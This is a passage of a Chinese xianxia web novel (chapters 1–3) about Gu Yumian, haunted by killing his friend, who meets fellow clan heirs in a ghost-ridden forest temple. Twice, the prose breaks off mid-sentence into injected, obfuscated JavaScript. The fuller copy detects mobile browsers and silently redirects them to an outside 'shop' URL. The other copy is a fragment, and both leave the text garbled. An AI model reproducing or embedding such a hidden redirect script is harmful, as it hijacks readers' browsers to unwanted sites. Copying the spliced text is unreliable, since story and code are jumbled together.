《枕山眠》 1. 惊雷 是夜,血月当空,风雨晦暝,生死河滚沸如汤,嶙峋白骨被惊天浪推到岸边又卷起带离。 那一身月白袍的清秀少年郎发髻散乱,手中剑在抖,连带着唇齿都打着颤,他提剑,将发亮的刃抵住另一人的心口。 只要稍一往外伸剑,自个的长剑便能捅破眼前人的皮肉,若再往内戳弄,向下可绞烂肝肺,向上则捅穿那还在扑通跳动的心脏。 “阿眠——” 身前人面白如纸,偏偏语声轻柔,顾於眠瞪视着他,目眦欲裂。 “替……我好……好活着……” 长剑终于穿心而过,通体雪白的朝云单一挑一引,那人五脏六腑中淌出的浆液便脏了他干净的袍。 他如是枝梢惊雀,拍翼而起,瞠目结舌间将那长剑猛然抽出,随之溅出的血先在半空划了道绛色的弧,继而泼了他满身。 浓血沿着他的发丝垂坠于地。 滴答滴答—— 顾於眠于滂沱大雨间俯身贴地,颤抖着去探陆倾行的鼻息,然而指尖贴上去,他单拭到了一滩冰凉凉黏糊糊的泪。 陆倾行死了! 顾於眠杀了人,却像是自个遭了罪。他扑通一声跪在那尸骨前,以头抢地,直磕得额间哗啦啦淌出血来,撕心裂肺的哭嚎在雨声中微弱如蜉蝣一响。 雨水顺着伏地的公子肩背下淌,他被密密雨帘给埋于混沌虚无中,他的魂随着那死了的陆倾行去了,一去便不知回来了。 风雨长棺葬了一逍遥子,而后恣意妄为、洒脱落拓者不是他。 也再不能是他。 自那日起,两人皆死在了虚妄山。 ------------------------------------- 寻無十六年。 震风陵雨突至,一声惊雷暴响后银鞭不留情抽在了颓山顶,团团黑雾自被炸开的石块间升出,皆散到了山底密林中。 浓雾遮天,昏暝林中慢吞吞走来俩头带斗笠、手执长棍的老头。 那领头的尖嘴猴腮、穿着身破烂的青道袍,跟在后头那个鹑衣鹄面,烂蓑衣虚掩着如柴的躯体,手中还牵着头不停喘气的老驴。 “老弟……” 一瘸一拐跟在后头的瘦翁被冷雨浇得很湿,禁不住打了几个寒颤,他目光有些涣散,漫不经心地张了嘴,“你这地儿供着什么佛呐?我瞧着不似风调雨顺的模样,这也方至暮春,怎下如此大雨?我看倒不如咱们山沟里头,哪里需要拿银子供大佛?单给土地爷送些贡品,足保你整年无忧!” “你若真无忧能成这副鬼样?”那青袍道人嗤笑,开口嘲道,“可别往自个脸上贴金了。” 树影阴翳,接天古木乍一眼瞧去像是恶鬼讨命,偶有灰林鸮乱叫,惊得那匹和他主子一般瘦的老驴凄厉喊了几声。 瘦翁拍了拍驴背,将老驴拉得离他近了些,像是有心事。 道人瞟觑他一眼,啐了一口:“呔!我见你那八字凶得很,怕是命里和十五族的老爷犯冲呢!瞧瞧你这副没骨气的邋遢样,若诚心至我这儿地的‘皇帝’府里头稽首拜上几拜,把那些个达官贵人哄高兴了,说不准能赏你几口饭吃!” “所以那野皇帝姓甚?”瘦翁有些怯,一双枯手拽紧了牵驴的绳。 只听得那尖嘴道人压低声,在他耳边念—— “北冥凶魑——禮间顾氏!” 语声刚落,空中轰雷掣电一声巨响,倏忽间打来道惊雷砸在二人脚边,草木被烧焦的气味登时散开来,那倔驴更是被吓得瘫倒在地,不敢动弹。 “嗬!凶?!你这供的……是神是鬼?” “人!可凶!凶死了!这龌龊十五族里头没有一姓是好欺负的,谁让天生会使法术?那玩意说好听些是仙术,说难听些便是祸国殃民的妖术!归根结底,和恶鬼又有何分别?我看他们自诩天潢贵胄,好生得意!” “你这怎还骂上了?既是贵人,不小心伺候着,怕遭天谴呐!” “呸!我就骂!你就是朝他们啐几口,他们能奈你何?我今儿算是看明白了,他们如若真有能耐,这老天怎会不听他们的?我眼见这天象诡谲,分明写着三字——‘不要脸’!咱们的命比草贱,那群富贵爷才不管我们的死活!” 瘦翁愕然,又问:“所以这顾氏究竟如何?” “狐媚子可不就讨人喜欢?顾氏小爷生得就不错,可惜投错胎,成了个男郎。这顾氏啊,以仁德为祖训,但这天下有几人信?前月南边一小村死了十来人,每个被发现时皆是七窍流血,你说这事人干得出来么?既非人,那便是顾氏造孽招引的脏东西!” 那道人说这话时呸了一声才要继续,可倏忽间,他竟觉得这林中有双眼睛盯在他身上,他走一步,身后便跟来声微弱的铃铛响。 还在一旁赶驴的老头没听着,见自个的犟驴赖在原地就是不肯向前,急得骂起来:“呔!挨千刀的玩意,别磨叽了,再晚些雨更大,你更迈不动腿!” 道人心底有点发虚,却还是不屑地撇撇嘴,摆出个无所畏惧模样。他远远瞧见昏暝中有一黑点随风晃荡,再近些猜出约莫是个乌漆麻黑的玩意挂在树梢上垂落下来。 耳畔瘦翁仍在呶呶不休地骂驴,那道人却不知怎地有些心慌,掌心已生了汗。 再近些…… “嗬!鬼……鬼!” 那蓑翁一口气顺不上来,皆堵在喉口,噎得他差些撅过去。瘦翁后知后觉地仰头去看—— 一条红绳挂树梢,一颗头颅迎风飘。 树上赫然挂着个长发女鬼,女鬼没了身子,单用乌发缠在枝上,瘆人白面在二人面前直晃。她的眼里噙着血泪,往外淌出的却是黑糊糊一团浊液。只见那鬼魅唇一勾,嘻嘻笑着落在了地面上。 瞧见这副情景,那老驴不知哪来的气力,竟用早有些瘸的后腿猛一蹬地,挣脱瘦翁的束缚便怪叫着跑进雾中。 俩个老头更是吓得屁滚尿流,可不知怎地脚上使不上力,一低头才发现是那鬼魅的长发延伸过来已然缠住双足。 二人被那长发猛一向前拽,双双倒地,却还是咬紧牙拼命用手扒土奋力往后退,谁知退着退着脊背突然抵上了什么硬东西,没了去路。 已是心胆俱裂的道人发着颤回头,竟是一具森森白骨! 眼见那女鬼长出躯身,像条大虫似的爬来,俩人耳鸣如雷,不可动弹,遽然间只能阖目祈祷,从喉咙底下挤出微弱的呼救声——“来人啊!救命啊!” 又听得长靴踩在泥地中的声响,一阵疾风携清淡药草香至。 二人闻声睁目时,一白衣郎君已挡在了他们身前。那人手里执一把通体雪白的长剑,长剑尚未出鞘便有光绕在手侧,如是寒江雪。他的长靴踩上那些不断延长的黑发,霎时间那东西便吃痛似的松开老头的腿脚,缩了回去。 那郎君笑盈盈地站至他们身侧,微俯身,将手探过去,稍一使劲,俩人身后的白骨便碎作了粉末。 那道士不认识来人,紧张得咽了口唾沫,才敢细细打量。 他会观面相,虽也单略知皮毛,平日里却全靠这本事摆摊给人算命过活。 他方见来人长身玉立,一袭月白长袍隐有仙风道骨,一支錾刻云纹白玉簪绾发,先盖棺定论——必是富家公子。只是这会再细细去瞧,那公子虽窄面皓白,剑眉星眸,轩然霞举超尘拔俗,可也并不似修道之人,该是俗世中人。 他从未见过如此俊逸脱俗的男子,那对眸子尤为明澈,笑起来更是漂亮,可惜几许愁色凝聚眉目之间,以至于笑不像笑,瞧上去委实有些瘆人。其实也是他真怕了,到头来不过得出个绝非善类的结论。 不过眨眼间,那公子已站至了女鬼身前,他瞧上去气定神闲,面上挂着个不以为然的淡笑。但那蓑翁唯恐时间长了生变数,不自禁叫了声——“恩人快些把那怪物给杀了罢!” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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只是,他一想起自个方才口出狂言,便想狠狠抽自己一巴掌,因而这会低声下气,就差给他跪下了:“公子……可是听见了小人方才胡言乱语?您大人有大量,莫要和小人一般计较!人老了总犯疯病,贱!” 那公子听闻他所言,神色淡了淡:“听见了,但无妨,我非十五族人,不必如此心焦。” 一语罢,俩人眼见的转忧为喜,长舒了一口气,像是终于活了过来,面色都红润不少。 那蓑翁乐乐呵呵,将沾满污泥的手在蓑衣上随意乱擦一通,大咧咧问道:“敢问恩人如何称呼?方才……那是个什么东西?” “方才那也只是寻常冤鬼罢了,莫要太过害怕,顾氏最迟明日午时前应会派人来查看的。”他似乎没打算告诉二人自个的名姓,只抱着剑耸了耸肩,“天道忌盈,许是十五族享了太多福罢。二位出远门还是多加小心,最近不比以往,太乱了。” 听来他口中也在骂十五族,那蓑翁如是寻到知音般笑逐颜开:“恩人说的极是!” “哦差些忘了,你们那小驴往那头去了,方才我路过,顺手给它贴了个纸符,应是不难找。” 那公子言罢抬起右手,曲了尾端二指,留了三指朝天,念了声——“寻”。 “那驴老嘞!”半天没说话的瘦翁无可奈何道。 金光乍现,只见脚下浮起片熠熠发亮的叶。 “喏,待它寻到那小驴,你们跟着走便是,这林中诡异,二位牵了驴便沿着这条小道向北去,莫再回头,也莫要走偏了。” 那白衣郎君言罢摆摆手而去,谁料疾风吹开他宽绰的月白袍,腰间一东西碰着佩剑的玉柄发出清脆的响声。 那道人眯了眯眼,在看不见郎君的影子后,脚底一软竟跪下了。 他怎会认不出来,那人腰间挂着的是蟠虺青白玉佩,那蟠虺底雕云雾,是顾氏先祖逾北冥召的卿云! “漱雪澄明,”老道人神神叨叨地念,“那是当年被卷入虚妄山诡案的顾於眠……” “禮间顾氏家主顾枫的独子……” 2. 故人 雨雾中偶尔传来几声不知来路的哭喊,吵吵嚷嚷,像有无数小鬼趴在耳边讲话似的。 趟着泥水向前之人并不驻足,他在其间穿行无阻,本是没有打伞的,走着走着发觉不对劲,于是敛去术法,顺手撑开把绘着山水的玉骨伞,云蒸霞蔚,尤为雅致。 顾於眠方才不过偶然遇上二翁,听得他俩口中骂自己骂得起劲,觉得好笑也怕俩弱老头在孤魂野鬼手中丢了命,便跟了一阵。谁曾想正好撞见尸鬼抓人,也就顺带救人一命,算是尽点顾地主人家的心意。 他这会右手撑伞,左手悠然转着把沾了黑血的短刀,打眼瞧去悠哉游哉,心绪却有些乱。这林子实在古怪,方才尚且能辨得东西南北,这会不仅雾更浓,脚下的小径还不停变换模样,路是愈走愈窄,没一会身侧草木已挨至肩头。 沧海横流,八方风雨齐至,这世间大乱不过这几月的事。四地之上,诡事并发,如是过往,他只道人各有命,生死皆过客,到时候了,他自个便也去了,哪有闲功夫掺和他人事? 他根本不在乎欲壑难填的“圣贤”十五族都在打什么算盘,更不管这天下谁人生谁人死,十五族就是斗个你死我活都与他无关。只可惜他那仁慈的至交并不如此想,那人满心满眼都是河清海晏、万世太平。 可这干他何事?! 与他何关呢…… 昏暝穹顶又飞来道惊雷打在他身旁的树梢上,一刹闪过的银光映着他满面愁容,胜雪白肤像是死了人般难看。 杀人了!!! 顾於眠惊抬起头,他像是听见有人在喊他的名字,须臾间,他好似窥见了那怯懦地躲在佛像后乞求庇佑的少年郎面上的惶惶惧色。他习惯性地将发颤的手攥紧,缩入宽大的袖中。 “阿眠……阿眠!!!” 声声泣血,分明就那般有气无力地叫了三年了,可他却仍旧很受用。顾於眠停下了手中动作,觉得这幻听来得不是时候,于是晃了晃脑袋。 可那声音还是在他耳畔绕,在自大雾间瞧见那淌着血泪的少年的模样时,他垂下头去。如今的他,说来可笑,活得像个披着人皮的鬼。在这十五族中,本就是愚拙者命长,他不争不抢,不论世事,这苦头怎还能落到他身上? 正沉思着,倏忽之间,一阵轻微却急促的足音踏风而来,那不知是人是鬼的脚步踩在枯枝落叶上,发出窸窸窣窣的响声。 不等剑影先至,顾於眠的长指握住剑柄一抽,那雪白长剑遽然被握在了手中。他并不闪躲,单从容迎着响声传来的方向劈去。 两柄长剑果然交打在一起,剑芒发寒,顾於眠欲借刀光看清来人,却不曾想被他一使劲压了过来。 好大的力气…… 顾於眠抽剑下蹲,一只手撑地,长腿一扫,满地沙尘随之翻飞而起,那人却躲开来,动作之迅疾令顾於眠都不由蹙眉。眼见他轻功跃出几步远,顾於眠也心领神会地将剑收回鞘中,而后高声问:“来者何人?” 浓雾遮目,眼前一切都只模模糊糊有个轮廓罢了。那人约莫比他还要高些,肩宽腰窄,头小腿长,身着一袭玄色夜行衣。 他本疑心这是亡魂化的鬼怪,谁知却听得那人稍显迟疑地开口:“顾公子?” 顾於眠闻之一愣,怎会有生人单凭声音便认出他来了? 刹那间,隐有微光于那人手边亮起,知其催动法式,顾於眠倒抽一口凉气便冲去拦他:“喂!这林中古怪,莫要轻率施法!” 顾氏公子失了礼数,一把握住那人的腕,可他近身时,那光已亮起来了。微光灿灿,隐若浮光跃金,将顾於眠的面容完完整整装入对方眼眸中。那人施法的手被他攥着,一时间目光飘忽起来,更偏过头去,像是不敢看眼前的顾於眠。 怎么一个个都把我当吃人的怪物…… 顾於眠嘟囔着,发觉失礼,于是松开手退了几步远,而后恭恭敬敬推手作揖。 “方才是我一时情急,多有冒犯,望恕在下失礼。” 顾於眠听得来人轻轻笑了一声,而后一双修长的手在同他还有些距离的地方向上抬了抬,似要将他扶起,却没碰着他。 又听得那人启唇,语声温润似玉石落清泉:“无须多礼,也怨我方才鲁莽挥剑,吓着你了吧?但这光弱,并不易招引邪祟,不碍事的。都是我不好,没能提前知会一声,未曾想竟能在此遇见你。” 是熟人……么? 顾於眠讪讪笑着抬起头,这才去仔细打量眼前人。也是这会才看清他穿的哪里是粗布夜行衣,分明一身鸦青缕金圆领袍,衣上绣云鹤,发冠高束,美如冠玉却气宇轩昂,浑然若凛冬寒松。 虽是长剑如芒,霜雪难覆,凛凛剑气却遮不去举手投足间流露的温润良和,翩翩君子清风穿过剑影刀光入了骨。他瞧去尤其温和,面上挂着个良善的笑。 哪家的芝兰玉树? 不认识…… 顾於眠向来是个“不认脸”的主,他盯着那君子的眉目琢磨了半晌,却仍旧一头雾水,只能给那不知所以然的公子卖了个拘谨的笑,旋即抱拳作揖:“公子一表人才,气度高华,实非……於眠可轻易相认之人……抱歉……敢……敢问公子名号?” 那人闻言似乎也是一愣,他先是耐着未发一言,半晌又觉无奈,轻轻笑出了声。 “顾公子真是好记性呐,但也不怪公子不记得,本就是萍水相逢,素昧平生,顾公子忘了在下也是常理。” 他又一次将顾於眠的手轻轻扶起,顾於眠挺直腰背后因心底发虚也不敢再瞅他。 “百权严氏——严卿序,见过顾公子。还恕我此番来禮间未能提前知会,本是想到顾地再同公子打声招呼的,未成想竟弄巧成拙。”他笑得温雅,一只手将腰间刻了“严”字的墨玉佩取下递到了顾於眠面前。 顾於眠本便不是不信他,见状忙往后退一步,又要俯身作揖赔罪,谁知头还未垂下,手便被严卿序扶起来了,只是他依旧垂着头,歉疚道:“是我失礼……” 果然是熟人…… 十五族中多生养封豕长蛇,贪念滔天者众便更显襟怀坦荡者稀。而眼前人,即是个光明磊落的真君子。四地人才济济,他更是秀出班行,世赠美名“渊清玉絜”,乃十五族“双玉”之一。 温润君子偏以武扬名,四地人都在传,单严卿序一人便可退却万马千军。 但将二人之交说作“萍水相逢”不过宽慰之言,他若当真才是疯了。四年前的虚妄山试炼,氏族照旧派遣同龄小辈前往,两人均在此列。一共十五人且将近一年的修习,二人虽说不上有多熟稔,但非要说连模样都忘了个干净倒显得薄情寡义了。 他顾於眠现在就是那“薄情郎”。 其实三年不长,也不至于让他忘却故人面,可他这三年浑浑噩噩过得行尸走肉般,空留形骸于世,实在莫可奈何。 “那顾家公子形销骨立,闭门不出,任顾氏族人哭天喊地亦无动于衷。顾氏隐起动用禁术为其招魂之邪念,受十四族所阻,方不了了之。” 他后来常听说书人念起这段往事,听得饶有兴致,但终究有些惭愧。犹记那时他哭到没有泪了,便成了个木人石心的怪物,如今费尽气力从那方血海中爬出来了,却还是不清醒。 已记不清爹娘给他灌了多少药,他那对眸子才有了几分清明,虽是这几年吃了不少补药,精神许多,但受梦魇所扰,他夜夜难眠,而今还得靠草药续命。 血海深深,他分明无处可逃。要问他为何还活着,便只能在心底暗自道一句——还债罢。 其实如要找借口,他还可说一句严卿序的模样确有几分变化,何况三年前那场无疾而终的试炼,早被他视为心中禁忌,讳莫如深,他更不可能翻出来折磨自己。 雪泥鸿爪,早该在四季轮转间散个干净。 见顾於眠愣在原地,严卿序以为是又吓着他了,又冁然一笑:“我变了这么多么?竟让公子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16775662|190300||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如此惊诧。” 眼见那君子笑得似朗月入怀,顾於眠也无暇分神,又因闹出这么个大笑话,他只能尴尬地在袖中将手握紧了:“严公子,此番关山迢递,多有劳累,还恕於眠有失远迎!怎就偏偏让你撞上了这么个怪事……” “顾公子别见外,都是小事罢了,你我之间,无须多礼。” 说也奇怪,那以武扬名的男子怎浑然若融雪春风,只一瞬即过万里河山,留下个润物无声间,不携半分刺骨凛冽。 “严公子既这样说了,那我便不客套了。”顾於眠敛去笑,正色道,“这雾生得古怪,敢在我顾家地盘作乱的人,我定不手软。还望严公子鼎力相助。” “乐意至极。” 一阵风吹过,一地的枯枝败叶随之翻飞而起,方才好不容易放晴的天这会又开始落雨。严卿序撑起一把伞,小心翼翼将顾於眠遮在伞下,而自己探出半个身子,同他隔开了距离。 寒夜森森,严卿序借微茫得以窥见倾慕已久之人的面容,他像匹贪心的饿狼死命压抑着心底肮脏的欲|念,以君子之姿,立于他身侧,做了阵拂面清风。 在顾於眠未发觉时,他又望向了那双琥珀色的眼眸。一别经年,那双眼依旧明澈若清潭水满溢,似染了朱砂的唇嵌在江中雪般的白肤中,令他不敢细看。 他被笼在月白长袍中,笑得恣意,滚滚银袖却在夜雨飞霜间模糊去,严卿序伸了伸手,在天光黯淡处攥住了不属于他的影子。 “不清醒啊……”严卿序在心底呢喃,没让他听见。 情不知所从起,一往而深。 暗栽芍药已三年。 不可说,不可说。他敛去妄念,只勾唇笑笑:“此番前来,有友同行。” “哦?谁?” “陌成谢家,谢尘吾。” 千金一笑,涑夜十寒。 谢尘吾乃东南陌成谢家的嫡长子,比起严卿序,顾於眠同他更说不上几句话。坊间多道,那谢氏公子是个凉薄寡情之人,单眼底寒意便足叫人色变,遑论其快剑无人能比,是个杀人不见血的怪物。 “原来是谢公子。”顾於眠耸耸肩,“好巧,我也有友同行,只不过这会走散了……” “可是江公子和许二公子?” “欸!没错没错……”顾於眠微微笑着,却将自己的手覆在严卿序撑伞的右手上,继而将伞朝反方向推了推,“严公子莫要将自己淋湿了。” 顾於眠忘了松手,却又陷入沉思,两手交叠,严卿序却愣是一动不敢动。 “这林中本有一荒寺,夜里赶路的人常在那处歇脚。只是现下这路乱了,也不知往哪边走才对,我们姑且再走一段看看吧。” 顾於眠发觉严卿序有些僵直,也不说话,于是抬眼看他:“怎么了?” 见那清正公子红着耳垂下头去,他了然,于是忍住笑将手松开来:“记忆中应只有谢公子有洁疾才是,没成想你也如此在意,是我考虑不周了,还望公子莫要怪罪。” 严卿序一声“并非”没能说出口,却只见顾於眠几步踏出去,将自个那把玉骨伞给撑开来,同严卿序比肩而立。他的神色突然严肃起来,只见他仰首,冷冷扫视起这片密林。 “严公子,你有没有听见铃铛响?” 严卿序没听见,只闻不知山鬼在喊还是冤魂在哭,周遭吵吵嚷嚷像有什么东西在捏着嗓子叫唤。 “野狐笑,豺狼嗥,此乃夜行禮间之凶兆。”顾於眠眼底依旧噙着笑,严卿序看不懂。 树影婆娑间,严卿序循声远望,却瞧见不远处一高门前挂起了血红的宫灯,寒雨浇在周遭,升起团团墨似的黑烟。 “同我去探探这林间鬼店?” 顾於眠虽是问他,却没等他答应,兀自迈开腿便踩着不知何时出现的带血白石阶向西走了。他落拓的背影在草木间随阶上下起伏,当严卿序跟上前去时,落在身后的石阶便作云雾状消散去,寻不着了。 3. 荒寺 二人未尝想到石阶尽处非郊野鬼店,而是个寂寥的荒寺。 朱漆落色,荆榛满目,人声鼎沸早便成了旧时风光,这寺香火断尽,已被俗世所拒。顾於眠踏上佛门前最后一级白石阶,只能看见散满枯叶的甬道与细密蛛网布结的长廊。 “墨门叛军当年是自这南林入禮城的,途径这古寺时却不忘叩拜佛祖……可这是顾地的佛呐,佛祖保了墨氏,便弃了顾氏。一月内,顾家两城受墨氏重创,死伤无数。”顾於眠说到此处,神色有些凝重,他撇开脸去,没让严卿序看见面上难过,“顾地人信命,觉得佛弃他们而去,气急之下便将这寺给砸了,佛像也都碎了。众怒难犯,家里人不敢阻拦,便如此荒废下来。” 严卿序瞧着他有些落寞的背影,正欲开口说些什么,却听得寺中传来几声清脆的兵器相碰之声。二人互看一眼,便踩着满地乱石向寺中奔去。 为避免招来不必要的麻烦,俩人没走大道,只钻入偏殿边的小径穿过大殿往后走,顾於眠跟在严卿序身后向前,还未至第二个大殿便见旁侧小院中有寒光穿透浓雾反照在古寺破碎的碧瓦飞甍之上。 二人于是噤声,作壁上观,并不轻举妄动。 两柄长剑在大雾间来去,虽看不清打斗之人的面容,但显然有一人已渐处下风。 那人衣色浅淡,将手中剑握得很紧,他的步子有些犹豫,似乎被在身侧绕圈的模糊影子惹得有些恼。那人细碎的足音在这空寺来回荡,辨不清来处,他挥剑以对,却徒然在晚风中晕头转向。 太快了,长剑如何都不能相交,那人待他来得轻蔑,一挑一引,说是试他,倒不如说是探囊取物,因而指顾从容,以防代攻。 这寺中迷雾愈发浓起来,灰林鸮凄凄叫声森森入耳,连晚风卷过残叶的沙沙声都显得格外清晰。那被戏耍之人终于忍无可忍,长剑刺入土中猛然一翻,满地尘土于是皆被泼向面前人。 倒也奇怪,本疾不见影之人竟乱了脚步,一时间缓急不定。也恰是这时,雾被惊人的剑气驱散不少,正好露出那人更胜潘安的俊逸面庞。 “啊呀……念与……”顾於眠对严卿序无奈笑笑,“方才没认出来。” “许久未见了。” “千江孤灯”江念与乃渭于江氏的大公子,严卿序和他不过点头之交,不曾想他平日行事低调含蓄,却在三年前虚妄山术法比试中一举夺魁,是氏族同辈中不可小觑之人。 江念与恰也瞧见了月洞门边的顾於眠,他不由蹙了蹙眉,谁知就因这一刹分心,他已来不及躲闪。 银光乍起,长剑不留情地冲他脸庞刺来,不过倏忽间,留了情的剑锋在他面上轻轻一划,血花于是溅开来。 来人将沾了血的剑抵住江念与的脖颈,嗓音低沉冷冽:“这雾是你弄的?” “不是。”江念与面色不改,虽抬眼瞧那戴半遮面面具之人,神情却尤其淡漠,似乎对他名姓并不感兴趣。 那人也蹙眉瞧他,许是觉得眼前这玉面公子些许眼熟,这才有了那么一瞬走神。江念与也不是等闲之辈,他抓住时机轻轻一提剑,风驰云走间,只听得“唰啦”轻响,面具应声而落。 浓雾微淡,江念与单一眼瞧去便知他身量颀长挺拔,一袭鹰背玄衣如晚雁逢山,金丝藏纹,纤尘不染。再观其貌,眉目凌厉,双瞳色浅,分明淡漠冷冽,却隐若雪虐风饕,傲气喷薄。他俯视来人,如若睥睨一切,万物未尝入眼。 这刻薄寡思的姿态,江念与这一辈子便也只见过谢家那傲慢的嫡长子谢尘吾有。 “谢公子……武艺见长。”江念与用手背轻擦顺着脸下淌的血,语声淡淡,也听不出是不是怒了。 “江公子承让。”谢尘吾依旧微扬下巴俯视江念与,语声冷淡疏离。 谢尘吾并非会说客套话之人,他所言也非谦词。三年前,在剑术上被谢尘吾压了一头的江念在术法试炼上一骑绝尘,摘得头筹,若要真正比试,也难算孰胜孰败。 谢尘吾少话,江念与亦倦于周旋,静默中四目相对,却都噤声不言。 江念与分明是男儿郎却生得一双桃花眼,总能让人咂摸出个要醉倒其间的意味。只是他神色冷清,拒人千里,哪怕容比宋玉,貌胜潘安,也叫人不敢多看一眼。说来好笑,前年世族那群纨绔公子非拉榜评氏族子弟的姿色,江念与就这般靠着这张冷脸“力压群雄”成了世家美人之首,都道是“当仁不让”。 可现下,谢尘吾害这美人破相却并无一丝半点歉疚的意思。他单抬袖抖落被江念与掀至身上的尘土,双眉紧蹙,戾气逼人。 “尘吾……” 听得严卿序无奈唤了一声,谢尘吾于是垂袖,自怀中取出个白帕子拭起剑上血。 这谢尘吾就是有让人过目不忘的本事,哪怕顾於眠再“不认脸”,也不可能忘得掉此般冷眉冷眼之人。 一笑千金,傲骨天成不假。他单杵那便若尊不容人亵渎的佛,只是他生性凉薄寡情,做不得大慈大悲的佛祖。 “别伤了和气呀……念与,来,我给你擦擦血吧?”顾於眠见两人剑拔弩张,无奈笑笑,便要过去。 谁知谢尘吾偏身拦住顾於眠,冷漠道:“不必麻烦顾公子。” 言罢他又自怀中取出块白帕,便要伸手替江念与拭去面上血,只是眼见其间纹路讲究,分明藏着谢家家纹。江念与微微仰首,也不闪躲,只当那是必然要做的。 “我下手不知轻重,还请江公子担待着点。” 不等江念与点头,谢尘吾便将帕子“轻轻”拭上了江念与之面,伤口不大,只是血痕擦去后免不得有血珠往外渗,那谢家公子于是又使劲去摁。 果真是“不知轻重”,江念与有些生疼得蹙起眉,怒意聚在眉心,拧作一团。 顾於眠一边安抚江念与,一边无奈道:“谢公子,这帕子……是谢家贵物吧?” 十五宗族皆同贵,家纹刻印之所乃贵物之印记,不可僭越,遑论那料子也尽是些极珍极贵之物。 “无妨。”谢尘吾瞥了眼手中带血的帕,依旧淡漠。 “……” 只见他微微蹙了蹙眉,那帕子旋即被抛至半空。倏忽间,那帕子便燃起火光,余烬生烟,谢尘吾还稍稍躲闪,避开了半空落下的尘灰。 “……” “尘吾……”严卿序开口却没再说下去,只徒然叹了口气,他知谢尘吾素来喜净,但此举决然不妥,于是将目光移至江念与身上,替自己那性子蛮横的好友赔罪,“江公子,对不住。” 江念与并不计较,只摆了摆手:“方才我隐约听见这林中有异响,怕是恶鬼叫唤,还是尽快寻出路离开好些。” 他绝口不提方才同谢尘吾如何相遇并发生交打,一心想着办正事要紧。三人方才皆未曾听见邪祟鬼叫,一时不解其言,然而不过刹那间,一阵阴郁低哑之声果然刺穿佛家地的静谧,携着沙沙叶动声汹涌而来。 “啊——啊——” 那声像极了怨灵讨命,哀怨悲戚,幽幽入耳只若白蚁啮心。 “真难听……”谢尘吾抱臂同三人有些距离地站着,他扫视着一派凄楚的荒寺,香火之稀薄自角落的蛛丝交叠中看得清晰,他于是盯住大殿中那尊已四分五裂的大佛,讽道,“你顾氏留不住佛。” “是佛留不住我顾氏民。”顾於眠嘴角噙着笑,随手将一片落叶自严卿序肩头取了下来,“所幸我们顾氏尚得民心。” “得不得民心,他们有的选么?” “我们又有的选么?”顾於眠给谢尘吾递去自己那把玉骨伞,“一会约莫还会落雨,谢公子拿着罢,莫要淋湿了身,犯了洁疾。” “……多谢。”谢尘吾接了过去,声音很低,顾於眠瞧着他那别扭模样弯了眼,差些笑出声来。 江念与恰这时走了过来,他将先前出发时带着的四方灯拎在了手中,那灯不生烟,其中红焰却左右摇摆,微光黯淡。 “不如熄了。”谢尘吾瞥着那灯,语声冷淡,却又自然地走到夜风来处,挡住了将烛焰吹得乱晃的风,“好生吉利。” 江念与像是没听见他说话,自顾自将灯放下,替顾於眠整理起衣裳,他的嗓音清冷却又带着些许埋怨:“怎才一会不见,你便落拓得似到外头奔波回来……” “许是因为同我打了一架罢……”严卿序有些不好意思,“方才林中邪祟颇多,我听见顾公子的声响便误作邪祟了,是我的错。” 江念与见严卿序这会没说几句话,却句句在赔罪道歉,摇了摇头:“方才我已探寻过,这林中被人下了鬼阵,寻不到阵眼恐怕难解。”江念与停了停才继续说下去,“四地鲜有会如此邪术之人,此事恐怕不简单……” “嘻嘻——” 又听得几声怪异的嬉笑声,那声似远似近,约莫是自那二大殿传来的。四人皆心照不宣地贴在墙边,小心穿过月洞门往背靠山崖的最后一个大殿走去。 一路上,四人行得缓慢,一只手扶着朱墙摸索向前,一只手放在腰间剑上,都在浓雾中仔细听着前方动静。 穿过最后一道门,二殿前庭已然在眼前铺开。只见那荒殿边的画拱承云已然褪色,吵人的虫呓在庭中萦绕,自空阔的院中攀出的枯藤上开着血色的花,像极忘川边的彼岸花,在夜风中颤悠悠抖着。 古寺青灯之地,碎裂的大佛像孤立殿中,那佛面苦,像是在哭,肃容被深深裂痕给割成几半。参天古木立于院中央,遮掩住大殿中佛的苦相。那树上本挂着无数褪了色的红纸条,而今已如落红满地。 “哐当——哐当——” 沉沉脚步叩击地面发出的闷声传来,兵器碰撞的尖利声又叮叮锵锵撞入耳中,瘆人的哭喊霎时间伴着尖叫刺破胸膛。 大雨瓢泼,惊雷又起,毁天灭地一般撼动山河。 “墨氏无罪……墨氏无罪!!!”阴森可怖的叫喊声突然刺入重霄,在穹庐顶开了道血红的大口,冲天怨气自那裂缝间凝作黑雾直往外冒。扎耳的尖叫绕梁不散,却又隐约带着些可悲至极的凄怨,仿若囚徒跪在地上苦苦喊冤,也似扯着人的头发叫他看六月飞雪。 只见一队精兵模样的人排成两长列,从团团黑雾中显出身形。他们面色惨白,无数双浑浊的眸子若枯死的老树,装在眼眶里,像是下一秒便要掉出去。他们看上去憔悴黯然,沾满血色的盔甲上更是锈迹斑斑,丝丝的寒气不断自队伍中往外飘。 领头之人倒模样端正俊秀,一身银盔,无由生了些威严,虽也面白似纸,却好像有丝缕生气,约是二十三四的年纪。 “墨邹……”严卿序顿了顿,轻声念了个名字。 顾於眠闻言色变,他攥紧拳,额间青筋因他使力而微微暴起。 严卿序没有多问,只轻轻将手搭在顾於眠肩上,对他摇了摇头,低声道:“他怕是阵眼,万不可冲动行事。” “自然明白。”顾於眠点点头,目光却似在墨邹身上套了把锁,随他左右移动。 墨邹其人,过去是墨家的副将,当初年纪尚轻便已名声大噪的第二将军。得亏他还以“忠义正气”为名,谁承想最后也就留下那该死的“忠义”两字了。 